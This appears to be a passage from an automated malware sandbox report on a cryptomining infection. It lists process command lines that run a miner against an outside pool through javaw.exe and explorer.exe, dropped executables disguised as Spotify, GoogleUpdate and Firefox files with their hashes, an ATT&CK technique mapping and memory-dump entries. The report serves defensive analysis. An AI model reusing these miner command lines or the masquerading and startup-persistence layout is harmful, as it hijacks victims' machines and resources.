      "C:\Program Files\Java\jre7\bin\javaw.exe" -u node.bot6 -p x -o http://ypool.net:8085 -t 8 -m128
      4⤵
      PID:2116
  - - C:\Program Files\Java\jre7\bin\javaw.exe
      "C:\Program Files\Java\jre7\bin\javaw.exe" -u node.bot6 -p x -o http://ypool.net:8085 -t 8 -m128
      4⤵
      PID:1936
  - - C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" -u node.bot6 -p x -o http://ypool.net:8085 -t 8 -m128
      4⤵
      PID:484
  - - C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" -u node.bot6 -p x -o http://ypool.net:8085 -t 8 -m128
      4⤵
      PID:580
  - - C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" -u node.bot6 -p x -o http://ypool.net:8085 -t 8 -m128
      4⤵
      PID:2612

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\AppExtB.exe

Filesize
2.6MB

MD5
71c88f5d6c5bc5d2c744fa73e581a797

SHA1
814e921f896b756297be31a2c758e66a49f31f6a

SHA256
1912ec3a958c3e1d021cc43941cce66ad02009072f396554910de7d302c76d74

SHA512
5ec5135afcdd2ac81b6bf0fb995ad6095a88f485e0198a5593cfb2fef77b5a9ea8af5d593b5624dd6f82bda95445c5cc83489f92f5e1623814cc74b1730c5ab6

Download Submit
C:\Program Files\Common Files\Microsoft Shared\ink\nb-NO\Spotify.exe

Filesize
2.6MB

MD5
dcc8e9a880b5d1b05ca9fe901e3be8ff

SHA1
b0c4c60bef2319bec568fabd086fca621f4e2360

SHA256
1c9cd6cdb6f15c6a6bd5c0ab9230705597524448e6d3cf40435f80a31eb49081

SHA512
1013474d5edaa79bd59087f551ef875c2efe7df24b279c46dbf4cb948dfa791e0603ab759b82e8b069ffe08745311eb464d638dd7716a47b1e255337c906d687

Download Submit
C:\Program Files\DVD Maker\it-IT\GoogleUpdate.exe

Filesize
2.6MB

MD5
41e51a860acec7af8c3469b46fab93e1

SHA1
03413b23ed6014d49edbf31b7c6f83c581974c3b

SHA256
98807ce48156b3f9f8664b65ec912044ecdb8c58d1c8db1cb8a483a72b42c821

SHA512
29545b54bf3839c82483b48f24818b954787f26e703a5b4e586f51cfaf8205a4e94b03d4c7696cb1b183e58bf11b714fb1009f8ccca614dec3883cd8ce81d163

Download Submit
C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\Spotify.exe

Filesize
2.6MB

MD5
30d571a75925f0032e30a76503996a78

SHA1
5ff5327844678d74d1971908a6900e2e67bc96d3

SHA256
22bd2c7222e0d6cdabd3e00fa00f4ad43418a67d3e7498c156827174ab52fa22

SHA512
4a3a97e7d751b620d964849bfdf51fdf85092512060522d95ca5852679e519653fd9fa3e13e78196f061bcbd4508b86db1ef3f4403f9f415b7c78e6ad261e814

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\commh32.exe

Filesize
2.6MB

MD5
a7290618afd84e3d6afc8a7b13f70c12

SHA1
b72b3ede5c8672024a47c207a3962170fc372f52

SHA256
1b75bc3bd6258f8cd0ae1803f65797c53423818e392003581932c320c0e2d35f

SHA512
260605f3c86fb57064fc277cb5f2c6db83df95838cddfbbd726925e64f869692539775ba3bdc286d3cf8a6ad2f86c92b4862f9f0f3e2042e33d40196d8da6907

Download Submit
C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\~eqoiylk.tmp

Filesize
2B

MD5
81051bcc2cf1bedf378224b0a93e2877

SHA1
ba8ab5a0280b953aa97435ff8946cbcbb2755a27

SHA256
7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6

SHA512
1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d

Download Submit
C:\Program Files\Windows Photo Viewer\HPWuSchd2.exe

Filesize
2.6MB

MD5
b5655497b31e458f7955d35117c6f439

SHA1
c4ca954c90ea3c91e7b0c1719ca57695a397716c

SHA256
5ae847639e17edfadacdb4a0b82319e2f6b11901e0a02c3c5046264e3cb1b750

SHA512
859f3ec3f39693de38def8f6d52842cd1aaf7baf50f227a81670e2fe1956a593a9611a84ac424352c8814947ae384847e1ca9e933e6b31d8bf987d6310a027b1

Download Submit
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\plugin-container.exe

Filesize
2.6MB

MD5
577427b4d0735dcba82c1bca6da174cf

SHA1
c95241f92e50c9ef33dbda0be59687b6208a3963

SHA256
be77542fa98288750e2a2cd808e7bd4512f7ff76a85d849fa568c317eeb376cd

SHA512
113d6736b93689e30a66e423b1d36ecd97913e566e3a5262a3a6fc5b445dfa938de95e3e53c7ac105f1a01761e461afd9618fce3bd548d73c117d681b919c60d

Download Submit
C:\Users\Admin\AppData\Local\Temp\~0a47e288.exe

Filesize
2.6MB

MD5
45704c2b9b5fca3011a1214ae26bb3f4

SHA1
8d7384bf9150946f30ab155955c88713c5c8ee3b

SHA256
22504a61daa2db1d8f42b4a4563d687d611d957408d64e9c27ad88b4cf593b9b

SHA512
6904a943be4d0dadc559df893e13dcf28d2a48a05704ecd776c8f2a2d680c49b6ec68c4fa2288f208f9dd0e50788a4895e92d1fd28645a5c0ceeda4c54b839fb

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\plugin-container.exe

Filesize
2.6MB

MD5
86f56716bb66aec6900ec7d81c8ccce9

SHA1
42e53ad2cc9283bfba09ad5bdcb9702d13c70c72

SHA256
0b0daeb94070b6006bb2fc7b44c748e3151ead04538230f65ad57a0121d75e4a

SHA512
1912ceb2012800eadaf84aa30f0863221bc5efe43c00c798564ecba08a4ebd9f491bde6f6cf967dcebea1c8d50d943eabc0190beea6f99406d5d6511162044fd

Download Submit
\Users\Admin\AppData\Roaming\Mozilla\Firefox\firefox.exe

Filesize
126KB

MD5
2e9a71e4ee33d190056e081e6726fa56

SHA1
db355fc276b8174e1753f45dbdf52536f7740316

SHA256
9262765163efb9dd31f8e9a3cd3ca1b06367524deb4272343f22e554198449da

SHA512
0425620770da2c1b297da33fb92f91444dd547a39e08bd3d670742ee6172f259aad071ee2fe08a8f61725a67703264cec7e1465b6d2bce644d64753b63209472

Download Submit
memory/484-498-0x000007FFFFFDF000-0x000007FFFFFE0000-memory.dmp

Filesize
4KB

Download
memory/1036-276-0x000007FFFFFDF000-0x000007FFFFFE0000-memory.dmp

Filesize
4KB

Download
memory/1036-277-0x00000000000E0000-0x0000000000127000-memory.dmp

Filesize
284KB

Download
memory/1036-278-0x00000000000E0000-0x0000000000127000-memory.dmp

Filesize
284KB

Download
memory/1728-266-0x000007FFFFFD8000-0x000007FFFFFD9000-memory.dmp

Filesize
4KB

Download
memory/1936-493-0x000007FFFFFD6000-0x000007FFFFFD7000-memory.dmp

Filesize
4KB

Download
memory/2016-271-0x000007FFFFFDB000-0x000007FFFFFDC000-memory.dmp

Filesize
4KB

Download
memory/2116-488-0x000007FFFFFDF000-0x000007FFFFFE0000-memory.dmp

Filesize
4KB

Download
memory/2168-1-0x0000000000400000-0x00000000004B3000-memory.dmp

Filesize
716KB

Download
memory/2168-2-0x0000000000940000-0x0000000000941000-memory.dmp

Filesize
4KB

Download
memory/2168-15-0x0000000000400000-0x00000000004B3000-memory.dmp

Filesize
716KB

Download
memory/2168-0-0x0000000000400000-0x00000000004B3000-memory.dmp

Filesize
716KB

Download
memory/2428-281-0x000007FFFFFD6000-0x000007FFFFFD7000-memory.dmp

Filesize
4KB

Download
memory/2428-283-0x0000000000110000-0x0000000000157000-memory.dmp

Filesize
284KB

Download
memory/2428-282-0x0000000000110000-0x0000000000157000-memory.dmp

Filesize
284KB

Download
memory/2612-508-0x000007FFFFFD8000-0x000007FFFFFD9000-memory.dmp

Filesize
4KB

Download
memory/2812-253-0x0000000000060000-0x00000000000A7000-memory.dmp

Filesize
284KB

Download
memory/2856-261-0x000007FFFFFD3000-0x000007FFFFFD4000-memory.dmp

Filesize
4KB

Download
memory/2856-259-0x0000000000060000-0x00000000000A7000-memory.dmp

Filesize
284KB

Download
memory/2856-263-0x0000000000060000-0x00000000000A7000-memory.dmp

Filesize
284KB

Download
memory/2976-257-0x0000000000160000-0x00000000001A7000-memory.dmp

Filesize
284KB

Download
memory/3052-16-0x0000000000BF0000-0x0000000000BF1000-memory.dmp

Filesize
4KB

Download